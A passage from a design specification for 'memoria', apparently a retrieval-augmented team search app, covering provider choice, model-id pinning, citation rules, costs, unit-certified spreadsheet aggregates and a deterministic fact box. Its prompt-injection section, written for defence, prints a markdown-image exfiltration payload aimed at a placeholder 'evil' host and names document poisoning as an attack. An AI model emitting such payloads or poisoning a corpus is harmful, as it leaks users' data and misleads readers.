2554it wrongly.** At first configuration, embed a fixed set of public,
2555non-content sentences — not team content, so §3.2 is untouched — seal the
2556vectors, re-embed on wake, and **state an anomaly when cosine drift exceeds
2557a stated ε**. Gate 24, covering all three pinned ids, and §11's sentence
2558stands unamended: it is the only thing standing between a stable id and a
2559silent swap.
2560
2561**A dated id at a reseller pins a label, not a behaviour.** DeepSeek does
2562ship dated release artefacts, so `-0813` plausibly names lab weights — but
2563TensorX did not train them, §13 records that id immutability *at TensorX*
2564is unread, and everything short of the weights that moves a chat model's
2565output is theirs to change under an unchanged id: quantisation, chat
2566template, sampling defaults, context truncation. A dated id buys a name to
2567print on an answer. It does not buy a detector.
2568
2569**`openrouter/auto` is disqualified**, and so is anything shaped like it.
2570It selects by trailing-7-day community spend, changes weekly, and cannot be
2571attributed — failing AGENTS.md §Review's "record which model" and decision
25724's naming requirement. State the rule generally, because a router is not
2573the only thing that breaks it: **a model id that can change under a team
2574without that team changing it cannot be printed on an answer.** A floating
2575alias is disqualified on identical grounds, which is why the two config
2576names hold ids and not tiers — pinned where the catalogue permits it, and
2577canaried where it does not.
2578
2579**Noted against ourselves:** OpenAI's dated snapshots satisfy this rule
2580more cleanly than the catalogue §8.3 selects. That is a real cost of the
2581provider choice, and §8.3 records it as one rather than talking past it.
2582
2583### 8.3 Egress
2584
2585Per decision 4: one provider, fixed by the team owner, named on every
2586answer, disclosed in the README's first paragraph, opt-in per team, with
2587§8.1's floor working when it is off.
2588
2589**The provider memoria supports is TensorX** (`api.tensorx.ai`) —
2590open-weight models served on EU infrastructure in Dublin, Helsinki and
2591Paris, with **advertised** zero retention. Advertised: no account exists,
2592no terms have been read, and §3.6 tells the reader we cannot verify a
2593retention promise. That sentence keeps saying so.
2594
2595**The provider is not team-configurable**, ruled by Paul on 2026-09-04.
2596Supporting one is a code change; a team owner's choice is on or off. This
2597is narrower than decision 4's "fixed by the team owner", and deliberately:
2598a configurable base URL on an OpenAI-compatible client would let an owner
2599point memoria at a proxy while the answer still printed "one named
2600provider", which is the failure this whole section is about. Decision 13
2601records it.
2602
2603**Swapping later is cheap on one side and not the other.** Generation is
2604one client, one base URL and two model ids, through code and §Review, where
2605the two-parties question gets asked again. **Embeddings are a third id and
2606the expensive one:** a new host that serves the same open `qwen3-embedding-8b`
2607weights yields compatible vectors and costs a migration, and any other host
2608costs a re-embed of the whole corpus — 24M tokens at an unmeasured
2609wall-clock (§13). Saying "swapping stays cheap" without that split would
2610contradict §13 two pages later.
2611
2612**Why this one, honestly stated.** Not because it beats OpenRouter and
2613OpenAI on decision 4's own words — on one half of them it loses:
2614
2615- **Fewer parties, not one party.** OpenRouter is a proxy, so the proxy and
2616 the upstream that runs the weights both see content, and "one named
2617 provider" would be naming one of two. TensorX **presents as** running the
2618 weights it serves — no proxy is interposed that we can see, and the one
2619 probe that could have shown otherwise returned 403 rather than an
2620 embedding. **That is weaker than it reads.** A 403 is a refusal, not a
2621 not-found, it was one key's refusal, and the probe had no control: nobody
2622 asked what a *nonsense* model id returns. If a made-up name 404s while
2623 `text-embedding-3-small` 403s, then that name is in their routing table
2624 and the probe found exactly the thing it was built to find, merely gated.
2625 §13 carries the two control calls that separate the readings; until they
2626 run this is a presentation, not a fact.
2627 Beyond it, **one contractual counterparty is not one organisation seeing
2628 the corpus**: a vendor this young on infrastructure in three cities is
2629 plausibly renting it, and a subprocessor sees content in exactly the
2630 sense §3.2 means. That is a DPA question and the DPA is unread (§13).
2631 The claim is *narrowed*, not *closed*, and §13's item says so.
2632- **Named weights — partially.** §8.2's requirement, met by a namespaced
2633 catalogue, but only `deepseek/deepseek-v4-pro-0813` and its like are
2634 datestamped. On id-pinning **OpenAI's dated snapshots are strictly
2635 better**, and §8.2 records that against us.
2636- **Open weights, which decision 4 never asked for.** Any host serving the
2637 same `qwen3-embedding-8b` produces compatible vectors, so the vendor
2638 failing is a *re-host*, not a re-embed of the corpus — see §13. Self-
2639 hosting stays reachable (§12). This is the strongest argument here and it
2640 is not a decision-4 argument at all.
2641- **EU jurisdiction**, likewise not a decision-4 criterion.
2642
2643**So the honest record is:** TensorX was chosen for sovereignty and open
2644weights — criteria Paul added on 2026-09-04, not criteria decision 4 stated
2645— at a known cost in id-pinning and in frontier answer quality (§8.2, §13).
2646Going direct to OpenAI satisfies decision 4's letter at least as well: one
2647counterparty, pinnable dated ids, zero-retention obtainable on request, and
2648the subprocessor point cuts both ways since it runs on Azure. It loses on
2649jurisdiction, on open weights, and on cost. Written that way the choice
2650stands; written as "TensorX wins on decision 4" it would be false.
2651
2652**Three things send content to it, and only the third exists today.**
2653Embeddings at ingest — every chunk, once (§7.2, not built). Answers — the
2654passages behind a generated answer (§8.2, not built). And **§8.9's
2655metadata extraction** — up to eight ruled passages of a search request
2656that asks for a kind with no validator, a postal address, whether or not
2657an answer would follow and including live searches while typing. The
2658third was built first, on 2026-09-27, and the README discloses it alone
2659because it is the only one the binary performs.
2660
2661**What it does not change.** This is still whole-corpus egress at ingest,
2662and §3.2's leak list is unaltered: a provider that sees the corpus sees the
2663corpus, whatever its jurisdiction. EU jurisdiction and zero retention
2664constrain what may lawfully be done with the content *after* it arrives —
2665the first thing on this page that constrains anything — but they do not
2666reduce what is sent, and a retention term is a promise we cannot verify
2667(§3.6 says so to the reader and should keep saying it). Decision 5's AI-off
2668floor remains the only configuration in which nothing leaves.
2669
2670**The rule is suite §8's, not memoria's**, and this spec cites it rather
2671than qualifying another app's:
2672
2673> Egress that is a property of the product is forbidden. Egress that is
2674> per-team opt-in, to one named recipient, disclosed in the README's first
2675> paragraph and on every artefact it produced, with a working floor when it
2676> is off, is admissible.
2677
2678That one sentence replaces what stood here — a qualification of Docs §11.2
2679written from memoria's side — and Docs cites the same sentence rather than
2680its own wording (A.2, merged 2026-09-05 as `6797bbf`). **This is how
2681`oficina/docs` discussion 33 closed:** it asked for the boundary of Docs'
2682rejection to be recorded rather than the rejection reversed, and a shared
2683sentence records it once instead of twice in two repos that then drift.
2684
2685**What memoria still has to say for itself**, because the doctrine states
2686the rule and not our position under it: per §3.2, **memoria's embedding
2687ingest is whole-corpus egress**, not merely answer-time top-k. Draft 1
2688compared Docs' whole documents against memoria's retrieved passages, which
2689flattered memoria. Under suite §8 the difference is opt-in, naming, and the
2690AI-off floor. **It is not a difference in what the provider sees, nor in
2691how much.**
2692
2693**A "model call ledger" is content.** Any runtime record of prompts holds
2694retrieved passages, so it falls under §3.2's log rule and §5.2's
2695provenance rule. It is not the development prompt ledger of docs
2696AGENTS.md, which records prompts to `refs/amadan/ledger/<branch>`; draft
26971's "the prompt ledger" ambiguously named both. If a runtime ledger is
2698built it is sealed, provenance-stamped, and expires with its sources.
2699
2700### 8.4 Citations with an optional answer, never the reverse
2701
2702A citation list is always served without an answer. **An answer is never
2703served without its list.** With AI on, a 🤖 paragraph appears above the
2704list; every sentence carries a passage id from it, and a sentence citing
2705nothing is dropped before render. **If every sentence is dropped, say
2706so** — an empty paragraph is indistinguishable from AI being off.
2707
2708#### The invariant, which is the part that binds
2709
2710> **Every passage in a response, and every passage in a model prompt,
2711> passed §4.1 in the request that produced it. Nothing memoria holds, and
2712> nothing it accepts from the client, carries a passage across requests.**
2713
2714This is decision 3 applied to rendering, and §8.5 already states its other
2715half — *"authorization runs before the model exists"*. It is a rule about
2716what may enter a response or a prompt **per request**. It says nothing
2717about interface shape, and it is enforceable: gates 17 and 26.
2718
2719What it forbids is **re-speaking**. A surface that puts previously
2720retrieved passages back into a model prompt, re-renders them server-side,
2721or stores them in a transcript row is memoria speaking those passages
2722again, at a moment when nobody has asked whether this person may still see
2723them. Carrying *query text* forward is not re-speaking and is not
2724forbidden: retrieval and S2 then run from scratch, which is the whole point
2725of retrieval being free (§8.2).
2726
2727**An earlier draft of this section argued the case badly, and the argument
2728is worth recording as wrong.** It said a chat transcript is a cache of
2729authorized passages because turn 1's snippets sit on screen while turn 4 is
2730asked. That proves too much: it is equally true of a search results page
2731left open in a tab, and of `/documents/{id}`, which renders a whole
2732document's passages and stays open as long as the reader likes. **A
2733rendered page is a copy in a browser and memoria's revocation never reaches
2734it** — true of every page here, chat or not, and now recorded as such in
2735§3.2 rather than argued from here. The draft also claimed re-authorizing a
2736transcript would breach §6.5's deadline. It would not: §4.1 batches 256
2737pairs per call and §6.5 makes a page one round of concurrent calls, so a
2738four-turn transcript of eight passages is 32 pairs — one batch, one round,
2739the same floor as a fresh query. **A correct chat is affordable under this
2740spec.** The invariant, not the latency, is what does the work.
2741
2742#### The shape, which is a product ruling and not a consequence
2743
2744**memoria is a search page: one GET search form, `?q=`, one query in and
2745one page out**, with `/documents/{id}` as the only other passage surface.
2746That follows from decision 5 — the search floor *is* the product — and not
2747from decision 3, which a conversational surface could satisfy. Recorded as
2748decision 14 — the spec author's ruling, in answer to a question Paul asked
2749on 2026-09-04 and **confirmed by him on 2026-09-05**. A conversational
2750surface that keeps the invariant above is not forbidden by this section; it
2751is deferred by §12, where it can be argued on its merits rather than
2752smuggled in as a corollary. Parking it there rather than ruling it out was
2753the half that needed confirming, and it was confirmed explicitly.
2754
2755Two things this settles for now:
2756
2757- **A refined search is a new query.** Edit `?q=` and ask again; nothing
2758 carries over, and nothing needs to.
2759- **The 🤖 paragraph is disposable — today.** One paragraph above one list,
2760 regenerated per query, stored nowhere; it is not a §5.2 derived artefact
2761 and no runtime prompt record exists to fall under §8.3's ledger rule.
2762 **Both halves expire if §12's cached-answers or model-call-ledger rows
2763 trigger**, and this paragraph changes with them.
2764
2765**What slice 0 actually shipped is a subset of §8.1's floor**, not the
2766floor: `index.html` renders source, title, ordinal, snippet and deep link,
2767but **no 👨/🤖 marker, no date, and no pagination** — `Search(ctx, q, 25)`
2768is a hard cap and nothing renders a second page. §9.1 also specifies
2769`GET /query?q=` where the app serves `GET /?q=`. Three gaps and a path,
2770listed rather than glossed.
2771
2772Hybrid, then, in the sense that matters: **the search page is the product
2773and the answer is a garnish on it** (decision 5).
2774
2775### 8.5 Prompt injection
2776
2777- **No tools.** memoria retrieves and answers. It **never writes to a
2778 sibling at answer time** and never fetches a URL at answer time. Suite
2779 §7's writes are not tools and are not on this path: the hand-off is a
2780 person clicking a button after an answer is rendered, and S8 is memoria
2781 filing its own material. Neither is reachable from a prompt, which is
2782 what this bullet is about.
2783- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
2784 exfiltration without a tool. Strip remote images; refuse links to
2785 non-suite hosts.
2786- **Authorization runs before the model exists.** §4.1 has already
2787 filtered the passages, so injection cannot cross a grant line — there
2788 is nothing on the other side to retrieve.
2789- **Every claim carries an openable citation.** Poisoning one document to
2790 lie about another survives all of the above; a checkable snippet is the
2791 only mitigation, and a partial one.
2792
2793### 8.6 Cost
2794
2795On §7.2's measured corpus — 90k chunks, **24M tokens**:
2796
2797**Ingest:** 24M × $0.02/M (`qwen/qwen3-embedding-8b`) = **$0.48 once**.
2798Re-embed only changed chunks. The figure survives the move off
2799`text-embedding-3-small` unchanged because the two list prices happen to
2800match — a coincidence, not a reason to stop rechecking it.
2801
2802This has been wrong twice, in opposite directions. Draft 1 priced 60M
2803tokens against a 90k-chunk corpus; draft 3 corrected to 36M by keeping the
2804*intended* 400-token chunk; the measured chunk is 202 words. It follows
2805from §7.2's measurement, and if that measurement moves so does this.
2806
2807**Query:** retrieval is free. The generative layer sends ~8 passages plus
2808instructions — ~5k tokens in, ~500 out. Against the ids §8.2 pins:
2809`deepseek/deepseek-v4-flash-0731` at $0.25/$0.30 per M is **~$0.0014 a
2810query**, and `deepseek/deepseek-v4-pro-0813` at $2.00/$4.00 is
2811**~$0.012**. Five people × 20 queries/day × 22 days = 2,200 queries:
2812**~$3/month if most route cheap, ~$26 if most route frontier.**
2813
2814Read that against one baseline, because an earlier draft used two. Draft 3
2815carried **~$5 cheap and ~$100 frontier** against a generic provider. So the
2816frontier month fell about **4×** and the cheap month about **1.6×** —
2817both moved, and the earlier claim that "the ceilings fell, the estimates
2818did not" was true only of the intermediate glm/kimi pair and is now
2819retired. Per query the cheap figure still sits inside the $0.001–0.003
2820range this section always carried; the frontier one, at $0.012, has fallen
2821below its $0.02–0.10 range rather than sitting in it.
2822
2823Most of that came from §8.2 pinning dated ids from one family, not from the
2824provider switch, and none of it is a reason to route more queries to the
2825frontier tier — §8.2's three model-free classes remain the design, and this
2826section's closing sentence still holds.
2827
2828Derived-artefact regeneration (§5.2) adds a synthesis-class call per
2829invalidated artefact and is unbudgeted until the feature exists. **So does
2830§8.9**, at one cheap-tier call per query that names a valueless kind and
2831whose recognisers found nothing — a small fraction of a small fraction.
2832**Cheap tier by choice, not by necessity**: Paul's ruling says "best value
2833models", and extraction from eight passages is the cheap tier's work under
2834§8.2. A better model would extract better — more complete addresses,
2835cleaner boundaries, fewer omissions — so this is a cost-quality trade to be
2836re-measured, not a consequence of the verbatim check.
2837
2838The money is recurring query tokens by an order of magnitude — the
2839economic argument for §8.2's router and its three model-free classes.
2840
2841### 8.7 Numeric and aggregate questions
2842
2843Paul's motivating example, 2026-09-03: *"what's average revenue in June the
2844last 3 years"*. Ruled independently by Fable and GPT Sol, which converged;
2845where they differ, the stricter reading is taken.
2846
2847**The tension this resolves.** §2 says memoria never recomputes a number,
2848because a second calculator eventually disagrees with the first. But no
2849cell contains "average June revenue over three years", so the question
2850either gets forbidden or the rule gets read properly. What the rule
2851protects is not arithmetic — averaging three doubles is deterministic —
2852it is **selection, units and formatting**: actual versus budget, one year
2853in thousands, `1234567.833` versus `€1,234,568`. Sheets §5 already names a
2854second formatter as the same bug class one layer down.
2855
2856**So: Sheets computes, memoria never does** (decision 10). S6 takes an
2857**enumerated function over cell references** — `SUM`, `AVERAGE`, `MIN`,
2858`MAX`, `COUNT` — and never expression text, so memoria is not a formula
2859author and cannot grow into one. Rejected alternatives: memoria computing
2860and showing its working (a second calculator, arrived at one `mean` at a
2861time); writing a formula into a scratch sheet — **and note this rejection
2862now stands on decision 10's own ground rather than on a write ban.** Suite
2863§7's S8 permits memoria to write into a designated area, and a scratch tab
2864is exactly that shape, so "forbidden by §6.4" is no longer the reason. The
2865reason is decision 10 itself: a formula memoria authored is a calculation
2866memoria owns, and a citation that cites itself.
2867
2868**Chunking a spreadsheet**, which §13 carried as unsolved. Two chunk kinds
2869per tab:
2870
2871- **One structure chunk per tab** — sheet title, tab name, dimensions, the
2872 header band, the leftmost text column, number formats named in words,
2873 and every date-like header emitted twice, as displayed and canonicalised
2874 (`Jun 2024` *and* `2024-06`). This is the chunk that carries the
2875 vocabulary.
2876- **Region row chunks**, one per row of a header-plus-contiguous-block
2877 region, rendered as **facts rather than positions**: *"FY2024 › P&L ›
2878 Revenue: Jan 2024 = €1,200,000; … Jun 2024 = €1,350,000"*. Row label is
2879 the nearest text run to the left, column label the header band above,
2880 concatenated top-down. Sheet and tab prepend to every chunk. Values are
2881 the **display string from S3**, never a double memoria formatted.
2882
2883That is what makes `revenue`, `June` and `2024` literal BM25 terms for a
2884cell whose content is the bare number `1350000`. **Header detection is
2885deterministic and conservative: where competing header bands make the
2886meaning ambiguous, index the alternatives as structure and do not
2887manufacture a fact.**
2888
2889**Retrieval, because top-k cannot prove completeness.** Decompose into
2890named slots — `(Revenue, June, 2024)`, `(…, 2025)`, `(…, 2026)` — and
2891resolve each by exact metadata lookup against the structure catalogue,
2892using top-k only to find candidate regions. Recall becomes a per-slot
2893count:
2894
2895- exactly one current, authorized operand → filled;
2896- zero → a named gap;
2897- **two or more → ambiguity, never extra evidence**, and never collapsed.
2898
2899**S6 is called only when every slot is filled and every operand carries a
2900certified unit.** Any gap, ambiguity, `STALE`, `AHEAD` or `UNKNOWN`
2901yields the slot table with citations and **no number**: *"Found June 2024
2902and June 2023; nothing matched June 2025. No average shown."* A
2903two-of-three average is the plausible-wrong answer that §8.1's loud
2904withholding exists to prevent, and it is worse than an empty result
2905because it is actionable.
2906
2907**"Compatible units" was unfalsifiable in draft 3, and this section's own
2908example is the case it cannot catch.** Three cells formatted `General`,
2909one of them typed in thousands, carry no signal that distinguishes them.
2910`MIXED_UNITS` therefore never fires, the three numbers average cleanly,
2911and memoria certifies a figure wrong by a factor of a thousand while
2912citing all three cells correctly. A check that cannot fire is a check
2913written to pass, and this one guards the number the whole section exists
2914to protect.
2915
2916**So the test is inverted: a unit is certified, not contradicted.** Every
2917operand must carry a unit, and it may come from exactly two places:
2918
2919- **the cell's `format_code`**, which S6 already returns — a currency
2920 symbol, a percentage, or a scaling comma (`#,##0,` is thousands in both
2921 Sheets' and Excel's grammar); or
2922- **an explicit unit word in the structure chunk's header band or row
2923 label**, both of which §8.7's chunking already indexes: `€k`,
2924 `thousands`, `$m`, `%`.
2925
2926`General` with no unit word is not a unit. It is the absence of one, and
2927that absence has to be a verdict rather than a silence.
2928
2929**Who certifies: memoria, and not S6.** Draft 4 said both — "S6 is called
2930only when units are certified" *and* "S6 gains `UNIT_UNKNOWN`" — which
2931cannot both be true, because a value S6 returns is a value that arrives
2932after S6 was called. The review was right to force the choice, and it
2933falls to memoria for a reason that is not about which is tidier:
2934**neither party holds both signals, and memoria is the one that holds
2935neither-half-only.** The `format_code` comes from Sheets, but memoria
2936already receives it (S6 returns it, and §8.7's structure chunk indexes it
2937at ingest). The header word comes from memoria's own chunking, and Sheets
2938has no idea what memoria's structure chunks say. An S6 that decided units
2939would be deciding on half the evidence.
2940
2941So the certification rule is memoria's, and it is a fixed table rather
2942than a judgement:
2943
2944| Signal on an operand | Unit token |
2945|---|---|
2946| `format_code` carries a currency symbol, a percent, or a scaling comma (`#,##0,` is thousands in Sheets' and Excel's grammar) | the canonicalised symbol-plus-scale, e.g. `€`, `€k`, `%` |
2947| the structure chunk's header band or row label carries an explicit unit word — `€k`, `thousands`, `$m`, `%` | that word, canonicalised the same way |
2948| both, and they canonicalise to the same token | that token |
2949| both, and they canonicalise to different tokens | **none: the operand is uncertified** |
2950| neither — `General`, no unit word | **none: the operand is uncertified** |
2951
2952And the two refusals are memoria's verdicts, delivered before S6 is
2953called:
2954
2955| memoria's verdict | Means | memoria does |
2956|---|---|---|
2957| `MIXED_UNITS` | every operand is certified, and two of their tokens differ | no S6 call; no number; name the operands and their tokens |
2958| `UNIT_UNKNOWN(cell)` | this operand certified to no token | no S6 call; no number; name the cells that carry none, and say what would fix them |
2959
2960**`€k` and `€` are different units, and memoria will not reconcile
2961them.** This is the case the review asked to be ruled, and the ruling is
2962the strict one: recognising `€k` and `€#,##0` as the same unit means
2963multiplying one operand by a thousand, which is memoria doing arithmetic
2964on a cell value — the exact thing decision 10 forbids, arriving as a
2965helpful conversion. So they do not aggregate, `MIXED_UNITS` fires, and
2966the refusal names both formats so the reader can see it is a formatting
2967difference and fix it in Sheets. **memoria performs no unit algebra of
2968any kind**: no scaling, no currency conversion, no percent-to-fraction.
2969Tokens are compared for equality or they are not compatible.
2970
2971**A `General` cell under a `€k` header aggregates, and here is exactly
2972what is displayed.** The header word certifies the operand as `€k`; if
2973the other operands certify to `€k` too, S6 is called and returns a
2974`value`, a `display` string and a `format_code`. **memoria displays S6's
2975`display` string unchanged and names the unit beside it, from the
2976header** — *"Average June revenue, 2024–2026: 1,350 (€k, from the column
2977header "Jun 2024 €k")."* It does not fold the unit into the number, does
2978not render `€1,350,000`, and does not re-format anything: folding the
2979unit in is formatting, and §8.7 exists because a second formatter is the
2980same bug class as a second calculator. Where the unit came from a header
2981word rather than a format code, the answer says so, because that is a
2982weaker provenance and the reader should be able to check it.
2983
2984**Re-certification on the way back, because the indexed format can be
2985stale.** memoria certifies from the format code it indexed, then compares
2986it against the `format_code` S6 returns for the same cell. A
2987disagreement means the sheet was reformatted since ingest: **no number**,
2988the slot table, and the source marked for re-ingest. This is `STALE`'s
2989logic applied to formatting rather than to content, and without it the
2990certification runs on a snapshot of the thing it is certifying.
2991
2992**All three outcomes can fail, which is the point.** Three cells
2993formatted `€#,##0` aggregate. One `€#,##0` against one `k€#,##0` fires
2994`MIXED_UNITS`. Three `General` cells under a header that says nothing
2995fire `UNIT_UNKNOWN` and show no number. Gate 22 runs all three plus the
2996`€k`-header case, and the `General` one is what draft 3 would have
2997answered wrongly and confidently.
2998
2999**The cost is real and it is not hidden.** Plenty of real spreadsheets
3000are `General` throughout, and on those memoria refuses every aggregate
3001until someone formats the cells or writes the unit into the header. That
3002is a worse product than one which answers, and a better one than one
3003which answers wrongly: the refusal names the cells and says what would
3004fix them, in Sheets, where the fix belongs. **The spec's position is that
3005there is no override switch**, because an override is the `General` case
3006with a checkbox in front of it, and a checkbox nobody reads is how the
3007wrong number gets certified with the reader's own consent.
3008
3009**That position is not mine to settle, and §13 marks it as Paul's.** It
3010trades a product cost nobody has measured against a correctness
3011guarantee, and the measurement — how many of a real team's sheets are
3012`General` throughout — does not exist. If it turns out to refuse nearly
3013everything, the answer this spec would argue for is better header
3014indexing rather than an override; but "we refuse most numeric questions"
3015is a product decision, not a spec detail.
3016
3017**One limit, stated plainly:** a cell whose *value* was typed in
3018thousands under a `General` format is undetectable to memoria, to S6 and
3019to Sheets. Nothing in the suite knows. The header word is the only
3020remaining signal, and where there is none, `UNIT_UNKNOWN` is the correct
3021answer rather than a cautious one.
3022
3023**The answer names its basis**, including which years "last three" meant,
3024because that is ambiguous on any given date.
3025
3026**What must not be built.** A retrieval-augmented calculator: retrieve
3027top-k, let a model pick numeric strings, average them, present it as
3028grounded. Both reviewers named this unprompted. It stacks three silent
3029errors — incomplete recall, wrong operand selection, arithmetic and
3030formatting outside Sheets — and every one of them cites correctly while
3031being wrong. Also forbidden: memoria parsing a display string back into a
3032number (`"€1.2M"`), which is a second parser and therefore a second
3033calculator; and caching an S6 result, which outlives its cells.
3034
3035Gate 14 extends: **every digit in an answer sentence traces to a cited
3036passage or an S6 result.**
3037
3038### 8.8 The fact box: deterministic extraction above the list
3039
3040Paul's motivating example, 2026-09-14: a search for `phone number` should
3041put the answer at the top of the page — *"Tito office number: +353 (0)1
3042547 7854"* — and the same for an eircode, a VAT number. And his
3043constraint, given in the same breath, which is the whole of this section's
3044shape: **do as much deterministic ordering of the data as possible before
3045any inference runs on it.**
3046
3047**Called the fact box, and not the lookup box, which is what draft 1
3048called it.** `query.IsQuestion`'s complement is already a lookup in this
3049codebase — `TestALookupPrimesTheFirstResult` is about Enter, not about
3050this — and a second meaning for the word in the same package is the name
3051collision this repo's reviews keep finding.
3052
3053**This section is the deterministic layer, and it calls no model.** The
3054kinds it serves are the kinds that have a validator. Decision 15 originally
3055said the whole fact box calls no model, *ever*, and excluded any kind
3056without a validator; **Paul amended it on 2026-09-19** and §8.9 is the
3057model half he ruled in. Nothing in this section changes because of that:
3058a validator-backed kind never reaches a model, and every guarantee below
3059is a guarantee about *this* layer. Where a sentence here says "no model",
3060it means this layer and not the request — §8.9 may call one afterwards,
3061for a different kind, and §8.2's router may call one after that.
3062
3063**Its deterministic layer is a fourth way memoria answers without a model,
3064and it is not a class.** Drafts 1 and 2 both called it *"§8.2's fourth model-free class"*
3065while also calling it a layer, which cannot both be true: a row in §8.2's
3066table is a **route**, and a route is terminal. A query naming a kind would
3067have stopped at the box, so *"what's the office phone number?"* with
3068nothing validated in reach would get no answer where the single-source
3069class would have given one. The box is attempted, and then §8.2 routes the
3070query exactly as it would have. Paul's constraint is deterministic
3071**first**, not deterministic **instead**.
3072
3073**"Model-free" in §8.2 and §8.6 is a claim about routing, not about the
3074request.** §8.9 now sits between this box and the router and may call the
3075cheap tier for a postal address. A navigational query that names
3076`address` can therefore cause a model call that no router class did —
3077the router's three model-free classes are still model-free; the request
3078carrying them may not be.
3079
3080**This section's own path touches nothing in §3.2.** No egress, no
3081provider, no embedding — the deterministic box works on an instance with
3082AI switched off, which is decision 5's floor and therefore the whole
3083product today. It is part of §8.1's floor and gate 15 covers it.
3084**Nothing on this path is logged**, gate 4's rule applying unchanged: a
3085fact, its label and its kind are all content, and the query that named
3086the kind is content too.
3087
3088**That claim is now load-bearing in a way it was not, because decision 15
3089has been amended and §8.9 adds a model.** What survives the amendment
3090without qualification is everything in this section: recogniser,
3091validator, label, cap, collision, citation. What §8.9 adds sits *after*
3092all of it and is switched off with AI. The sentence to keep straight is
3093**"the deterministic box has no egress"**, not "the fact box has no
3094egress" — and §8.9 exists as its own section rather than a paragraph here
3095precisely so that the two cannot be confused by someone reading quickly.
3096
3097#### One extraction, over the ruled results, and why drafts 1 and 2 had two
3098
3099**Candidates are the validated facts carried by the passages this search
3100already returned and §4.1 already allowed.** There is no second index, no
3101second query, no ingest-time half and nothing stored. `Store.Search`
3102produces `Page.Results`; the box is extracted from those and from nothing
3103else.
3104
3105That makes §8.4's invariant structural rather than careful: every passage
3106in a response passed §4.1 **in the request that produced it**, and a
3107candidate that is not in `Page.Results` does not exist. There is no
3108second retrieval path, so there is no second authorization path to get
3109wrong.
3110
3111**Both earlier drafts built a retrieval mechanism for reachability, and
3112the cap is what killed it.** Draft 1 folded kind words into the main
3113index; draft 2, after the IDF objection below, gave facts their own
3114in-memory table queried by kind. Writing the retrieval step out
3115concretely is what found the contradiction:
3116
3117- this section caps candidates at three;
3118- a facts table is queried `WHERE kind = 'phone'`, which is corpus-wide;
3119- a real corpus holds dozens of phone numbers — `index/rank_test.go`'s
3120 twelve-chunk fixture already holds two, plus four account numbers and a
3121 VAT number.
3122
3123So the cap fires on the first query anyone types, on every kind,
3124permanently, and the box never appears. **The only way to bound a
3125corpus-wide fact query is to rank the candidates and keep the best three,
3126which is exactly what "never by picking" forbids** — and a `LIMIT` before
3127the ruling is worse still, because a withheld document then eats one of
3128the slots and "count after the ruling" becomes unimplementable. The gate
3129review reached this independently and from the other side.
3130
3131The ruled top-25 is already a query-scoped candidate set. Once candidates
3132come from it, the facts table has no query-time job left, and its only
3133other job was the ingest-time ranking lift.
3134
3135**Why the deferred fix is not "index the kind words", measured rather
3136than asserted.** FTS5 computes a term's IDF across the table, so a term
3137present in most rows scores near zero. On `modernc.org/sqlite`, 20 rows,
3138best `bm25()` for `"phone"`: **-2.7169** with the term in one row,
3139**-0.0000** with it injected into all twenty. A collapse, not a
3140degradation.
3141
3142**Be exact about what that measures, because draft 2 overclaimed it.**
3143Draft 2 said the injection would degrade *"exactly the query the NEAR
3144comment works through"*, and on that comment's own fixture it would not:
3145the chunk holding the office number already contains the word `phone`, so
3146injecting it there moves that chunk's term frequency and length, not the
3147corpus IDF. The real exposure is a corpus where **many chunks carry
3148numbers and few say `phone`** — which is the shape a large real corpus has
3149and the fixture does not. The number stands; the sentence it was attached
3150to did not.
3151
3152#### What this costs, and it is the thing to measure next
3153
3154**The reachability limit is back, and draft 2 claimed to have removed
3155it.** A fact in a document that does not reach the ruled top-25 is a fact
3156the box does not have: an eircode written `D02 XY45` in a document that
3157never says "eircode" is found only if something else about it ranks.
3158Draft 1 named this and deferred the fix; draft 2's table did not actually
3159remove it, since that table ran only when a kind was named and was inert
3160corpus-wide under the cap. §12 carries it.
3161
3162**The box's presence depends on the retrieval limit, which is a real
3163edge and is stated rather than discovered.** `Search(ctx, q, 25)` is a
3164hard cap, so a fourth distinct value sitting at rank 26 leaves a box of
3165three, and the same value at rank 25 removes the box entirely. That is
3166not wrong — the box describes what this search found — but it means the
3167box is a function of the page, not of the corpus, and nobody should read
3168it as the latter.
3169
3170**Whether the cap made the box inert on the corpus that motivated it was
3171unmeasured until Paul hit it, 2026-09-29.** He searched *"what is the
3172office phone number?"* on the live instance and got 25 results and no
3173box. The Office page alone carries the office number and a list of
3174unused ones, so the ruled top-25 held four or more distinct valid numbers
3175and the cap fired — on the very query this section was written for. This
3176section used to say the remedy was *"a narrower kind lexicon or a
3177per-kind cap, **not** a rule that picks"*. Neither of those would have
3178helped: the lexicon was already right (the query asked for a phone
3179number), and any cap large enough to pass would show a list of unused
3180numbers as the answer. **Paul ruled the remedy instead: narrow by the
3181reader's own words** — see *"Narrowing by the reader's own words"* below.
3182
3183**§4.1 is unaffected, in the direction that matters.** A reader for whom
3184passages are withheld draws candidates from a smaller set, never a larger
3185one — `rule` drops withheld results and §12's over-fetch-and-refill is
3186deliberately not built, so the slot stays lost. Fewer candidates cannot
3187be a leak.
3188
3189**A chunk row that is gone by the time the box reads it is skipped
3190silently**, exactly as `Store.Search`'s `livePassage` check drops a stale
3191hit, and for the reason recorded there. It does not fail the search: the
3192box is a garnish and trading the page for it is the wrong direction.
3193
3194**And the box needs plaintext the search path does not open.**
3195`Store.Search` opens titles, paths and item ids under their own purposes;
3196chunk bodies are opened only by `indexDocument` and `Passages`. FTS5
3197snippets are 24 tokens with `<mark>` in them — too short and too marked-up
3198to take a span or a label from. So the box re-reads the sealed chunk rows
3199for the ruled results, after the ruling, under `seal.PurposeChunk`: at
3200most 25 rows, one `IN` query, 25 AEAD opens.
3201
3202#### Why nothing is stored
3203
3204The rejected design is a **sealed, durable** `facts` table, written at
3205ingest, read at query time. Two grounds, and draft 1's third is withdrawn:
3206
3207- It is **derived state**, so it inherits AGENTS.md's ordering rule in
3208 both directions and §5.2's invalidation — a new way for the index and
3209 the database to disagree, bought for nothing that query-time extraction
3210 does not already give.
3211- It **freezes the recognisers at the version that ran at ingest**, so
3212 improving one leaves every existing document answering with the old
3213 one until somebody re-ingests it. **This is not the `Passages` problem
3214 and draft 2 cited it as though it were.** That comment records the
3215 opposite lesson — re-running the *chunker* at view time misaligned
3216 citations, and freezing at ingest is the fix — and it does not transfer,
3217 because a recogniser change moves no ordinal and breaks no citation.
3218 The staleness argument stands on its own or not at all.
3219
3220Draft 1's third ground was that a plaintext `kind` column would be an
3221inventory of which kinds of sensitive data the team holds — true, and
3222irrelevant, because the proposal was for a sealed table. The honest
3223residual for a sealed one is the per-chunk fact-row count, which is real,
3224much smaller, and not on its own a reason.
3225
